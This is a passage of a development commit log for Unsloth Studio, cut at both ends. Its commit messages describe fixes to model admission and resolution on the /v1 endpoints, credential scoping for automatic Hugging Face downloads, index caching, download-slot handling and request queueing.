was resident. Requesting gemma-4-E2B-it-GGUF:UD-Q6_K_XL while UD-Q4_K_XL
was loaded got a confident answer from the wrong quant, with nothing in
the response saying so.

A name carrying a namespace (org/model, optionally :QUANT) is a concrete
reference, so 404 instead, with the reason:

- wrong quant  -> names the quants that are actually downloaded
- not on disk  -> lists what is available
- on disk but auto-switch off -> says to turn it on

Ids without a namespace (gpt-4, claude-3, default) are foreign labels
rather than references, so they still fall through to the resident model
and drop-in clients are unaffected. A bare org/model is still satisfied by
any loaded quant of that repo; only an explicit :QUANT must match.

The check runs whatever the auto-switch and auto-download toggles are,
since serving the wrong weights is wrong in every configuration. It is
skipped when nothing is loaded, where the existing no-model-loaded error
already says the right thing, and when the model is on disk with
auto-switch on, where a failed swap should still fall back.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: use a simpler prompt in the API usage examples

"What is Unsloth Studio?" rather than "Can Unsloth Studio do API calling?".
One constant feeds all nine snippet tabs.

* Studio: only refuse a model reference meant for this server

A namespace alone was treated as a concrete model reference, so a /v1
request naming anthropic/claude-3.5-sonnet, openai/gpt-4o or any other
LiteLLM or OpenRouter style vendor/model id started returning 404 instead
of being answered by the resident model. Refuse only on evidence the
caller meant this server: an explicit GGUF quant label, or a repo that is
actually on disk here. gpt-4 and vendor/model alike fall through again,
while the wrong-quant and wrong-repo cases this PR exists for still
refuse.

Also from review:

- Release the single download slot by object identity, not repo id. A
  stale watcher could clear a newer download of the same repo and let a
  second multi-GB fetch start alongside it.
- Catch BaseException around admission: CancelledError is not an
  Exception, so a cancelled request stranded the slot for the process
  lifetime.
- Honour the download service's accepted=False, which it returns without
  raising for a cross-variant conflict, instead of promising a download
  that was never dispatched.
- Treat a failed status probe as unknown rather than idle, so a transient
  read cannot fail the monitor row and free the slot under a live worker.
- Check gated repos with auth_check. The Hub serves metadata for a gated
  repo without granting its files, so the licence gate was being reported
  as the unrelated custom-code refusal.
- Size the disk reserve from the download plan, which includes the mmproj
  and MTP companions the worker fetches with every quant.
- Never fetch under the server's own HF token. The repo is named by
  whoever holds an API key, so the ambient token let that key pull the
  owner's private repos.
- Refuse an explicit quant on a backend with no quant identity, gated on
  the suffix really being a quant so Ollama style :latest tags still match.
- Raise instead of falling through when the diagnosis fails: the mismatch
  is already established by then, only the wording is uncertain.
- Report a failed switch as 503 model_switch_failed rather than answering
  as the resident model.
- Fail an open monitor row under the same lock as the check, so a finish
  landing in between cannot stamp an error onto a completed row.
- Usage examples never emit a hardcoded model id: the catalog is tri-state
  and the panel asks for a model to be loaded instead of printing one the
  server cannot serve. It also refreshes when the loaded model changes.
- Keep the monitor pager reachable while frozen entries expire.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: scope the auto-download 404 cache to the caller's credentials

The Hub answers 404 for a private repo the caller cannot see, so caching
that verdict per repo alone let one anonymous request mark a private repo
unservable for everyone for the whole TTL. A later caller sending a valid
X-Unsloth-HF-Token skipped the probe and fell through to the resident
model instead of downloading what it asked for. Keyed on the repo id plus
a digest of the token now, so the token itself is never held.

Two more from the same review:

- Clear the chat runtime checkpoint after unloading from the API monitor,
  as the chat eject flow already does. The store went on treating the
  freed checkpoint as loaded and the usage examples kept naming it.
- Point gated and not-found callers at the X-Unsloth-HF-Token header.
  Automatic download deliberately ignores the server's own Hugging Face
  identity, so telling the user to add a token in Studio sent them round
  the same 403 forever.

* Studio: tighten the comments added by this branch

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep API auto-download off the server's Hugging Face identity

Passing None for the caller's token was not anonymous. spawn_worker
substitutes the backend's HF_TOKEN for a falsy one, and HfApi(token=None)
falls back to a cached login, so a repo named by an API-key holder could
still be fetched under the owner's Hub identity and land in the shared
catalog. The metadata probe and auth_check now pass an explicit False,
and dispatch threads allow_ambient_token=False so the worker stays
anonymous too. The flag defaults to True, so the UI download path keeps
the ambient fallback that private repos rely on.

Three more from the same review:

- Require an exact hf_variant match only when the suffix is really a
  quant. The llama.cpp branch still compared Ollama style :latest and :8b
  against the loaded quant and refused the resident model, which is the
  opposite of what looks_like_quant classifies them as.
- Decode an HF cache repo id only when the models-- component is followed
  by snapshots. An ordinary directory whose name merely starts with
  models-- was being read as an encoded repo id.
- Return the probing response before consulting the job registry when an
  adopted claim has no variant yet. A stale error on the whole-repo key
  could otherwise release the slot the first request's probe still holds,
  letting a second large download start beside it.

* Studio: stop treating a namespace as what decides model intent

The rule refused a reference only when it carried a namespace, which was
wrong in both directions. vendor/model is how LiteLLM and OpenRouter name
every provider, and a standalone or custom-folder GGUF is advertised
without one, so asking for a path-free local id such as model-Q4_K_M was
answered by whatever else happened to be resident. The slashless early
return is gone and the same evidence test now applies to every id: an
explicit quant, or a model that actually resolves here. gpt-4 and default
still fall through because they are not local, not because of their shape.

Also:

- Recognise bits-per-weight quant labels. _extract_quant_label emits
  IQ4_XS-3.53bpw and the resolver and downloader both accept it, but
  _GGUF_KNOWN_QUANT_RE has no bpw group, so looks_like_quant rejected a
  reference the rest of the machinery understands.
- Upper-case the synthetic names handed to _pick_best_gguf. Its preference
  tokens are upper case and matched case-sensitively, so a repo with
  lower-case filenames skipped the preference and took the first entry,
  which can be F16.
- Only offer a downloaded but unloaded model as a runnable example when
  auto-switch is on. It is off by default, so the copied snippet hit the
  no-model-loaded error, which is the failure this branch exists to fix.

The tool-passthrough cancel test stubbed asyncio.to_thread module-wide, so
it cancelled at the first thread hop rather than the generation hop it
means to test. Model resolution runs off the loop before the monitor row
opens, so that stub now passes the resolver through.

* Studio: tighten the comments added since the last pass

* Studio: match a resident model through its resolver alias

A manual load stores the model by its on-disk path while the resolver and
/v1/models advertise it as publisher/model, so _loaded_satisfies could not
recognise the alias. Reducing the resolution to a boolean then threw away
the load path that would have proved the match, and the request was
refused with 404 for a model the server was serving at that moment. Common
for LM Studio models and custom-folder aliases. The resolved path is
compared against the resident backend before anything is refused.

Also:

- Size disk admission on what is left to fetch. expected_bytes is the whole
  plan, so a resumed quant or a companion already pulled in by another
  quant was charged for twice and could 507 a download that fits. Cached
  blobs are subtracted through existing_blob_bytes, the same accounting the
  worker's own preflight does, and it falls open to the full size when no
  blob hashes are available.
- Report a cancelled download as cancelled. The catch-all sent every state
  other than complete or idle through fail_open, so a deliberate cancel
  rendered as a download failure rather than the monitor's cancelled state.
- Keep polling the servable ids while nothing is loaded. The poll settled
  as soon as auto-switch was on, so turning it back off left the examples
  naming an unloaded model until something else remounted the panel.

* Studio: shorten the comments added in the last pass

* Studio: keep the FLA fast-path tests hermetic across transformers versions

_discover_fla_model_types scans the *installed* transformers for modeling
files importing `from fla.`, so `models/qwen3_5/` only exists from
transformers 5.x. The backend supports transformers>=4.51, and on a 4.x
install the Qwen3.5 gate returns False, so 14 tests in
test_training_worker_flash_attn.py silently exercised a no-op instead of the
install path and failed their call-count assertions.

Pin the discovered model_type set in those 14 tests, the same way
test_hook_does_not_install_tilelang_for_model_outside_allowlist already pins
it against newly added FLA model_types. Test-only change: the production
gate and the _discover_fla_model_types unit tests are untouched.

* Studio: keep the /v1 admission check off the model-scanning path

The admission check added here runs on every /v1 request, including with
auto-switch off, where the route used to return straight away. It called
resolve_local_gguf, whose index is cached for 5s and otherwise rebuilt by
walking ./models and every HF cache root, under a lock the next caller waits
on. On an install with a large cache that scan measured 6.1s, longer than the
TTL that is meant to amortise it, so steady traffic would keep rebuilding it.

Answer from the last built index instead and never rebuild from the request
path: a stale answer is fine here, since what is on disk barely moves and a
finished download already invalidates the index. The first request, before any
scan has completed, warms the index on a background thread and skips the check
rather than blocking on it. That also makes the lookup a dict read, so it no
longer needs handing to a thread.

Cold resolve on this box goes from 6152495us to 0.4us, and the whole hook now
costs the same for a foreign label as for the resident model.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix the admission hook's cold, stale and contended index paths

Five review items, four of them on the admission hook added here.

Skipping the check until the first scan lands also skipped explicit quant
mismatches, so the first request after startup could ask for :Q8_0 while
Q4_K_M was resident and be answered by it. The early return was redundant as
well: with an empty index resolved is None and here is False, so the gate below
already lets a bare name through and refuses an explicit quant, which is what
the except branch has always concluded. Dropped it and index_is_built with it.

index_is_built took _lock, which _index holds for the whole scan, so once a
warm was running every later request blocked on the event loop for exactly as
long as the scan it was there to avoid. The warm now has its own lock and reads
the timestamp unlocked, which is safe because _scan is only ever rebound.

Warming only when the index had never been built left a model fetched in the
Hub UI, or dropped into a scan folder, invisible for the life of the process,
since only the auto-download watcher calls invalidate_index. Warm on staleness
too, and unconditionally, so it refreshes within a TTL without a scan on the
request path. Rescanning is capped at a tenth of the scan's own duration: a big
install takes longer to scan than the TTL, and warming on the TTL alone would
keep a thread scanning continuously.

An Ollama-style tag names no quant, so the resolver misses it and auto-download
saw a model the resident one already answers to, then 404'd it for having no
such quant. Return early when the loaded model satisfies the reference.

Frontend: a cancelled download said "Model download failed", because the label
collapsed everything non-completed into failure.

The backend tests get an autouse fixture that stops the warm from walking the
developer's real HF caches; that scan starved the loop under the timing
sensitive streaming tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make /v1/models and the admission hook agree on what is local

Three review items, all on the seam between the catalog scan and the resolver
index, which run on separate schedules.

/v1/models can advertise a local GGUF the resolver has not indexed yet. A bare
id carries no quant to refuse on, so a client asking for one it had just been
handed was answered by the resident model instead. The hook now reads the
catalog cache as evidence too, never scanning it. It takes the path rather than
a yes/no because the converse also happens: the catalog can list the resident
weights under an alias the loaded entry does not answer to, and those must stay
served.

That alias was also emitted twice by /v1/models, once as the loaded basename a
manual load records and once as publisher/model marked unloaded, because the
dedup only compared ids. Compare the path as well.

A directly loaded standalone .gguf takes its quant from the filename, but the
resolver stores such files with no quants, so the advertised <stem>:<quant>
stopped resolving as soon as anything else loaded. Advertise a quant only when
that reference resolves, and downgrade only on a definite answer so a cold
index leaves the metadata alone.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten the comments this branch adds

Collapse the multi-line notes in the auto-download path, the /v1 admission
hook and their tests to one line each, keeping the reason and dropping the
restatement. No behaviour change.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: four admission and catalog fixes from review

Lowercasing paths in _resolves_to_resident made /srv/models/Foo and
/srv/models/foo the same weights on any case-sensitive filesystem, so a request
for one could be answered by the other and /v1/models could mark the wrong
entry loaded. That helper now backs residency as well as admission, so use
os.path.normcase, which folds case only where the filesystem does.

Advertising a quant whenever the resolver could not disprove it kept the bug it
was meant to fix: a standalone .gguf loaded before the first scan still got
<stem>:<quant> published, and the usage examples persist that. No proof is not
proof, so omit it and warm the index instead.

A 401 from an expired or invalid X-Unsloth-HF-Token skipped the 403 and 404
branches and surfaced as "could not reach Hugging Face, retry shortly". It now
says to replace the token, kept apart from the gated refusal since a rejected
credential is not an unaccepted licence.

An image request naming an undownloaded text-only GGUF started the whole
download and only then hit the capability guard, which never sees a remote
target, so every retry 400d and the bytes were wasted. Thread require_vision
into admission and check it against the mmproj companions the disk preflight
already asks build_gguf_variant_plans for.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make the Hub error fixture carry a status on both hub majors

The 401 test built HfHubHTTPError directly, which works on 0.x and fails on 1.x
where response is required and keyword-only, so all four Python jobs failed
while the same test passed locally.

_hub_error already handled both constructors, but the 0.x branch left the
exception with no response at all, and hf_error_status reads the status off it
for the types that do not encode it in their name. So it could only produce a
usable error on 1.x, which is why the test bypassed it. Attach the status when
the constructed exception lacks it, and use the helper.

Cover the helper itself against stand-ins for both constructor shapes, since
whichever hub is installed only ever exercises one of them.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: invalidate on every download, resolve bare tags, keep polling

Three review items.

Only the API auto-download watcher dropped the resolver cache, so a GGUF
fetched in the Hub UI stayed absent to the cache-only request path and the
request was answered by whatever was resident. finalize_worker_exit is the one
point every download worker exits through, so invalidate there. That closes the
window without leaning on the TTL, which the scan-duration throttle can stretch
past 5s on an install where the scan itself takes longer than that.

A downloaded but unloaded GGUF asked for as org/model:latest missed the
resolver, since the suffix was always treated as an exact quant. With
auto-download on that probed the Hub and returned a 404 for a quant that was
never a quant; with it off it refused without switching. Fall back to the base
entry when the suffix is not quant-shaped, and keep exact matching for real
quants so a swap can never serve the wrong weights under the right name.

The usage examples stopped polling once a model was resident, but idle unload
frees one without touching the store, so nothing re-ran the effect and the
examples kept naming a model that could no longer be reloaded. Slow the poll to
60s instead of stopping it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: hold the download slot while it is in use, and keep quants to llama.cpp

_loaded_satisfies refuses a quant reference against the Transformers backend by
name, but the path match did not carry that rule. A Transformers model active
from a directory that also holds GGUF exports therefore matched a request for
one of those quants and answered it with the safetensors weights. Only
llama.cpp has a quant identity, so admission now passes llama_only whenever the
reference is quant-qualified. A bare name still matches either backend, and
/v1/models residency keeps the default so a loaded Transformers model is still
reported loaded.

The 24 hour watch window was bounding ownership of the single-flight slot when
it should only have been bounding progress reporting, so a legitimately slow
download had its slot handed back while the worker was still writing, admitting
a second multi-gigabyte download beside it. Resolve the row on the clock, but
keep the slot on a slower poll until the job is actually terminal. Past the
deadline an unknown state does release it, since it means the worker cannot be
probed and holding it on that forever would wedge auto-download.

* Studio: keep what the resolver already knew when a download lands

Invalidating cleared the index to empty. The request path reads that cache
without scanning, so from a completed download until the rebuild landed it had
no evidence about any local model, not just the new one, and a bare request for
any of them was answered by whatever was resident. Wiring the hook into the
shared completion path in the last commit widened that from auto-download to
every download.

Mark the scan stale and keep the entries instead. Both _index and
warm_index_soon rebuild on a zero stamp, while the request path still sees
everything it knew a moment ago. Only a completed download invalidates, and
that only ever adds models, so nothing retained goes false.

Warm from the completion hook too, so the rebuild starts when the download
lands rather than when the next request happens to need it.

* Studio: match the quant, not just the directory, and default-select bare tags

Two quants of one repo share a directory, so the path match could not tell them
apart and an explicit :Q8_0 was answered by a resident Q4_K_M that
_loaded_satisfies had already refused by name. The llama_only fix in the last
commit only ruled out the wrong backend, not the wrong quant on the right one.
Both path matches now require the resident hf_variant to equal the requested
quant whenever the reference is quantified; a bare name still matches on the
path alone, since it claims nothing about the weights.

The local resolver already treated a tag that names no quant as meaning the
repo, but remote admission still looked for a quant literally called "latest",
so the same reference resolved locally and 404d remotely. Branch on
looks_like_quant there too. A real quant the repo does not have is still a 404
and never a substitution, which is what separates this from the loader's
low-disk fallback.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: one quant preference, and stop trusting a stale checkpoint

list_local_gguf_variants sorts by descending size, so the head of variants was
the biggest quant, often F16, while remote admission and a plain load both rank
through _pick_best_gguf. A bare id therefore meant a different quant depending
on which side answered it, and the local answer was the one that could evict a
working model and then fail or OOM starting an F16 next to a usable Q4.
/v1/models advertised that same head for pinning. Pull the ranking into one
preferred_quant helper and have both sides use it.

The usage examples returned a stored checkpoint without ever consulting
/v1/models, and the polling added last round was gated on not having one, so
for a stored checkpoint it never ran. An idle unload then left the panel
showing a snippet that could not run. Poll whenever mounted, and prefer the
checkpoint only while the catalog still backs it or switching can reload it. A
catalog that has not answered yet is not evidence against it.

The static contract pinned the old dependency array, so it now asserts the
intent it documents: a finished load re-runs the fetch, and the effect is not
gated on having no checkpoint.

* Studio: fix the Windows path compare, and advertise a label the worker knows

The case fix normalized the separator to "/" and then called os.path.normcase,
which on Windows folds case and rewrites the separator back to a backslash, so
the descendant checks compared against a "/" the path no longer had. A manually
loaded GGUF reached through an alias then read as a different model, giving a
false 404 and an alias marked unloaded. Run normcase first and normalize the
separator after it.

There are two quant-label extractors and they only agree while a recognized
quant token is present. With none, _extract_quant_label takes the last
hyphenated segment, "7b" of llama-7b, while build_gguf_variant_plans and the
worker key the whole stem: the plan lookup missed and the job exited on a
variant it had no shards for. Use the canonical extractor for the unrecognized
case only. Checked across real filenames first, the two match on every
recognized quant and part on bpw-qualified labels, which _extract_quant_label
keeps apart on purpose so byteshape's IQ4_XS at 3.53, 3.97 and 4.19 bpw stay
separate variants.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: a stored checkpoint needs catalog evidence, not just the switch setting

Preferring it whenever switching was on short-circuited the catalog check, so a
checkpoint the store still held after the model was deleted or moved kept being
named even though /v1/models had already proved it absent, and the snippets 404d
instead of falling back to a model that is actually there.

A lookup rather than a disjunction, which settles the whole matrix in one place:
no answer yet keeps the checkpoint, since that is not evidence against it; listed
and resident keeps it; listed but unloaded keeps it only when switching can
reload it; absent falls back whatever the setting says.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: normalize the quote style pre-commit would have rewritten

* Studio: cover the model that just landed, and pin the quant the catalog has

Retaining the index on invalidation protects what was already scanned and by
construction cannot contain the model that just finished downloading, so a bare
request for it in the window before the rebuild was still answered by the
resident model. Record the repo at the completion hook and treat that as
admission evidence alongside the resolver and the catalog; the next completed
scan clears the notes, since the index then covers them. Publishing a rebuilt
index before completion becomes observable would have closed it too, but that
blocks the download worker for the length of the scan.

Catalog membership proves the repo, not the saved quant, and the examples then
pinned the stored one. A quant deleted while another quant of the same repo
remained produced repo:deleted-quant, a missing-quant 404 with a runnable
alternative listed right beside it. Pin what the catalog advertises: for a
resident entry that is the resident quant, for an unloaded one it is a quant
actually on disk. The store is only consulted before /v1/models has answered.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: apply three rules everywhere they belong, not only where reported

The trust probe was the last credential handoff still passing a raw token.
huggingface_hub reads None as "use the cached login", so a caller-named repo
was read with this server's Hugging Face identity whenever the caller sent
none, which is exactly the isolation the metadata probe and the worker already
keep. It takes _hub_token now. Enumerated the rest of that path while there:
auth_check, model_info and spawn_worker were already correct.

finalize_worker_exit is shared with dataset downloads, so the resolver hook
fired for every completed dataset, scanning the model directories for nothing
and recording the dataset id as local-model evidence, which turns a bare /v1
request naming that id into a refusal instead of a foreign-id fallthrough.
Gated on repo_type.

_already_serving decided "bare" on the presence of a colon while
_loaded_satisfies and the resolver decide it on whether the suffix names a
quant, so org/model:latest against a serving Q8_0 read as a mismatch and
swapped in the preferred Q4_K_M for a request either one answers. That rule now
lives in four places, each fixed in its own round, so this time I looked for
the rest and found a fifth: describe_local_miss splits on the bare colon and
its docstring claims it splits like the resolver. It no longer did, and would
report a missing quant named "latest". Fixed here too, unreported.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: probe before refusing busy, and scan once when the index is cold

The busy refusal fired before anything established the requested label was a
model at all, so any namespaced id a drop-in client sends was told to wait out
an unrelated download for as long as it ran. Probe first and refuse only a
label the Hub actually serves as GGUF; anything else falls through to the
resident model as before. A probe failure answers "not downloadable", since
stranding ordinary traffic costs more than missing a busy refusal.

Treating an unbuilt index as "nothing here" let the first request after startup
be answered by the resident model under another model's name. That was a
deliberate trade to keep the scan off the request path, and it was the wrong
one. Cold, the scan now runs once on a thread, bounded so a pathological
install falls through rather than hanging the request. Built, the request path
still never scans, so the latency fix stands.

The watcher freed the slot the moment it saw an error, while Retry-After is
thirty times the poll interval, so the client came back to an empty slot and
restarted the same failing download instead of being told. Hold the failure on
the slot until a retry surfaces it, and let another repo take it after three
retry intervals so a client that never returns cannot keep it.

The watcher also invalidated on completion, which now lands after
finalize_worker_exit's warm and marks that fresh scan stale, pushing a
synchronous rescan onto the retry. Removed.

_loaded_satisfies lowercased paths as well as aliases, so it returned satisfied
before the case-preserving compare below could run. Both now go through one
helper: paths compare with normcase, aliases stay case-insensitive.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: an unfinished scan is not absence, and a decided refusal is not a failure

Bounding the cold scan then reading the bound as "not here" left the same hole
one branch over. A timeout now answers 503 model_indexing with a Retry-After
and leaves the warm running. A foreign label sent inside that window is asked
to retry rather than falling through, which is a real cost, but the window is
one request on an install whose scan exceeds ten seconds and it clears itself,
where answering with the wrong weights does not.

That uncovered a worse one. Every check here runs inside a broad except whose
job is "could not verify, so fall through", so an HTTPException raised in the
block was logged as a verification failure and the request was answered by the
resident model. Any refusal decided in there was being swallowed. Re-raise it
ahead of that handler.

Canonicalizing generic labels made them real variant keys, but the matcher
still decided on shape, so repo:llama-13b fell past an exact match and fetched
llama-7b. Match exactly first, whatever the shape; a quant-shaped suffix that
matches nothing is still a miss and never a swap.

Marking a catalog alias loaded while publishing the preferred on-disk quant
claimed alias:Q4 was loaded while Q8 was serving, and requiring the resident
quant to match then made pinning it a 404. Advertise the resident variant when
the entry resolves to the resident model.

* Studio: keep the asyncio.timeout fallback tests runnable on Python 3.10

Both tests deleted asyncio.timeout to force _wall_clock_timeout down its
pre-3.11 branch, but monkeypatch.delattr raises when the attribute is already
absent. On Python 3.10, the one version the fallback exists for, there is
nothing to delete, so the two tests errored with AttributeError before reaching
the code they cover. Passing raising=False makes the deletion a no-op there and
leaves the assertions running against the same branch on every version.

Every other delattr in the repo already passes raising=False for exactly this
reason. Verified with asyncio.timeout removed from the interpreter: the two
tests fail with the CI AttributeError before this change and pass after, and
the file still runs 89 passed on 3.13 where the deletion is real.

* Studio: decide GGUF residency, servability and variant keys by one rule each

Four admission and catalog fixes, each closing a gap between two places that
were answering the same question differently.

The /v1/models catalog asked _resolves_to_resident without llama_only, so a
Transformers model live from a directory that also holds GGUF exports marked a
GGUF alias loaded and gave it a GGUF quant. The usage examples then pinned
alias:quant that nothing could serve with switching off. Every entry in that
loop is advertised as GGUF, so residency there is llama.cpp residency.

The busy probe accepted any .gguf sibling while admission excludes mmproj, MTP
drafters and big-endian builds. A repo holding only companions is not
downloadable, so it was held at model_download_busy for the length of an
unrelated download instead of falling through to the resident model as it does
when no download is running. It now reuses _gguf_variants, the same filter.

split_model_ref refused any slash-bearing suffix, but an unrecognized GGUF below
a subdirectory keys on its path (build/llama-13b), which is_valid_gguf_variant
allows and the catalog advertises. Pinning such a variant could not parse, so
only the default-ranked one was reachable. A slash-bearing suffix is now a
variant exactly when a real Hub repo precedes it, which still leaves
C:/models/x.gguf a path rather than a quant.

The usage examples treated a downloaded-but-unloaded model as runnable only
under auto-switch, but a standalone UNSLOTH_MODEL_IDLE_TTL reloads exactly what
it freed on the next request. The panel hid runnable examples after an idle
unload. Tracked apart from auto-switch, because the stash restores the stored
checkpoint only and never an arbitrary catalog entry.

Also stub the index walk in the three cold-index tests that missed it: a real
multi-root scan inside the cold-wait budget made them time out into a 503 under
load rather than assert what they are there for. One of them flaked locally.

Verified each fix is load-bearing by reverting it and watching its test fail.
Backend CI command: 10195 passed, 0 failed. tsc -b and the frontend build clean.

* Studio: bound the Hub admission probes and stop guessing at nested model paths

Three review fixes plus a test-isolation one.

_resolves_to_resident matched on a path prefix, so two separately indexed models
that nest (/models/A alongside /models/A/sub/B) both satisfied it: loading B
made a request for A resident and answered it with B's weights, and the catalog
marked A loaded. A prefix match now counts only when no catalog entry sits
deeper, which is the innermost indexed model that actually owns the file. With
nothing indexed there is no nesting to tell apart, so the directory-to-weights
match this exists for is unchanged.

auth_check and hf_hub_download take no timeout of their own, and both ran while
the provisional single-flight slot was held, so an unresponsive Hub stalled the
request far past the metadata budget and reported every other model busy for the
duration. Both are bounded now. Each default errs the safe way: an unchecked
repo is not a cleared one, so the custom-code probe refuses on timeout, while a
slow gated-repo check stays inconclusive because the download's own auth is the
real gate.

The usage examples caught a failed refresh into an empty catalog and a disabled
auto-switch, which made a transient error authoritative and blanked every
example while the model was still servable. The catalog is deliberately
tri-state; a failure now keeps the last answer and retries.

Also start the backend tests from a built, empty model index. Stubbing only the
background warm still left the cold path walking real caches synchronously
inside the admission wait, so on a large install a test asserted against a 503
"still indexing" instead of its subject. _build_index is untouched, so the tests
that call it directly still exercise the real walk.

Verified each fix is load-bearing by reverting it and watching its test fail.
tsc -b clean. Backend CI command green apart from two failures reproduced only
on this box (a real model-dir scan and an orphan-process cleanup), neither
touched by this PR; staging CI is the gate for those.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 05:02:06 -07:00
Daniel Han
032550df96
Keep the newer-mapper probe alive when the fetched mapper has no fp8 tables (#7497)
* Keep the newer-mapper probe alive when the fetched mapper has no fp8 tables

_get_new_mapper reads the two fp8 tables out of the fetched mapper.py under
that file's own names, unlike the three NEW_ names it renames itself. A
mapper.py that does not define them raises KeyError, the bare except swallows
it, and the function returns five empty dicts, so the 4bit and 16bit upgrade
check stops firing as well. That check is the reason the probe exists.

Every mapper.py older than the fp8 tables is such a file: fetching the
2025-11-07 one leaves the probe with [0, 0, 0, 0, 0] instead of
[400, 997, 591]. Reading the two names with .get keeps the 4bit half working
and empties only the fp8 half, which costs nothing, since the probe runs only
after the installed tables have already missed.

Add a regression test that also pins the fetched-only fp8 upgrade error, which
the existing test cannot catch: it serves the repo's own mapper.py as both the
installed and the fetched source, so any fresh dict satisfies its identity
assertions.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 05:01:04 -07:00
Daniel Han
2ab4b744ac
Studio: admission control on /v1/messages, slot pool that tracks --parallel (#7436)
* Studio: admission control on /v1/messages, slot pool that tracks --parallel

/v1/chat/completions was gated by the llama admission queue but /v1/messages
was not, so an Anthropic client could oversubscribe llama-server's slots and
stall the backend. Wire the same queue into all six /v1/messages dispatch
sites, and rework the queue itself into an explicit slot pool.

- Queue keyed by base_url, so both API surfaces share one pool of slots.
- Waiting is unbounded by default instead of timing out; the wait line is
  sized at 16 x the serving slots so it follows --parallel.
- Neutral UNSLOTH_LLAMA_ADMISSION_* env names, legacy UNSLOTH_OPENAI_COMPAT_*
  spellings still honored.
- Passthrough retries once against a respawned llama-server, which comes back
  on a new ephemeral port.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix over-admission on capacity shrink and restore the stream cancel contract

Review of the previous commit turned up two real regressions plus smaller gaps.

- Pool sizing looked only at free slot ids, so when capacity shrank while slots
  were held (an unload resets effective_parallel_slots to 1) a freed low id was
  handed out even though the holdovers already met the new ceiling. Count every
  held slot against capacity instead. A 1-slot backend could run 4 generations.
- The streaming wrapper closed the monitored body with aclose(), delivering
  GeneratorExit where _SameTaskStreamingResponse deliberately throws
  CancelledError. The monitor entry was never finalized, so it leaked as
  "running" for the process lifetime and cancel_event was never set. Close
  through the shared helper so cancellation reaches the handler.
- Finalize the monitor when a stream is abandoned before its body starts, and
  when a queued non-streaming request is cancelled (which also leaked the
  un-awaited generation coroutine).
- Floor the scaled wait line at 64, so a 1-slot backend keeps the depth it had
  before scaling existed instead of dropping from 64 to 16.
- Use the canonical Anthropic type map: a full queue is 429 rate_limit_error,
  which SDKs back off on; overloaded_error is 529.
- Treat non-positive max_queue/queue_per_slot as unbounded rather than "reject
  everything", and reclaim the slot if a waiter's event loop is gone.

Tests: regression tests for both defects, verified to fail without the fix.
Adds env coverage for QUEUE_PER_SLOT and the legacy fallbacks, a structural
check that all six dispatch sites stay admission-wrapped, and clears the new
env var in the isolation fixtures.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Run the response pre-start cleanup when a queued stream is abandoned

From automated review of the earlier commits.

_anthropic_passthrough_stream enters its _TrackedCancel eagerly and relies on
the stream's finally to exit it, but aclose() on an async generator that never
started is a no-op, so that finally never runs. Admission made this reachable:
a client that disconnects while queued leaves the cancel id registered in
_CANCEL_REGISTRY forever.

- Give the passthrough response an unstarted_cleanup hook that exits the
  tracker, via a new optional arg on _sse_streaming_response.
- Chain to that hook from the admission wrapper rather than replacing it, and
  run it when the wrapper gives up before the body started.
- Defer to an in-progress MTP fallback instead of respawning underneath it;
  only the first caller gets True from _maybe_recover_from_mtp_crash.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restore Python 3.9 support, and stop the floor overriding an explicit setting

Second review round. The first item is a real break shipped by the earlier
commits, the rest are correctness and contract fixes.

- dataclass(slots = True) and int.bit_count() are both 3.10+, but the package
  declares requires-python >=3.9 and CI only runs 3.12, so nothing caught it.
  Importing the module raised TypeError on 3.9, taking down the whole backend,
  not just admission. Drop the dataclass slots and track the popcount in a
  counter. A test now asserts neither API comes back.
- The queue-depth floor applied even when an operator set QUEUE_PER_SLOT
  explicitly, so asking for a shallow line silently got 64 and, with no queue
  timeout, callers blocked instead of failing fast. The floor now only backs
  the default multiplier.
- Never let a failing close strand a slot: closing runs in its own try so the
  release always happens. A lost slot shrinks the pool permanently.
- Close the generation coroutine when reserving fails for any reason, not only
  on a full queue.
- Exit the passthrough cancel tracker if the client drops while the opening SSE
  lines are still being sent; those yields sit outside the teardown try.
- snapshot.free now reports what a caller could actually take, so the admission
  log cannot show free slots next to queued requests after a shrink.
- Correct the class docstring: the wait line is bounded by default, not
  unlimited. Document that abandoning wait() requires cancel(), and pin the
  thread assumption in _deliver_lease.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make the leak guards real, and cover the untested admission branches

Third review round, which attacked the previous round's tests by reverting each
fix. Two guards turned out to be hollow.

- The pre-start cleanup chain could be severed with the suite still green: the
  existing test drove the generator finally, never the response hook. A real
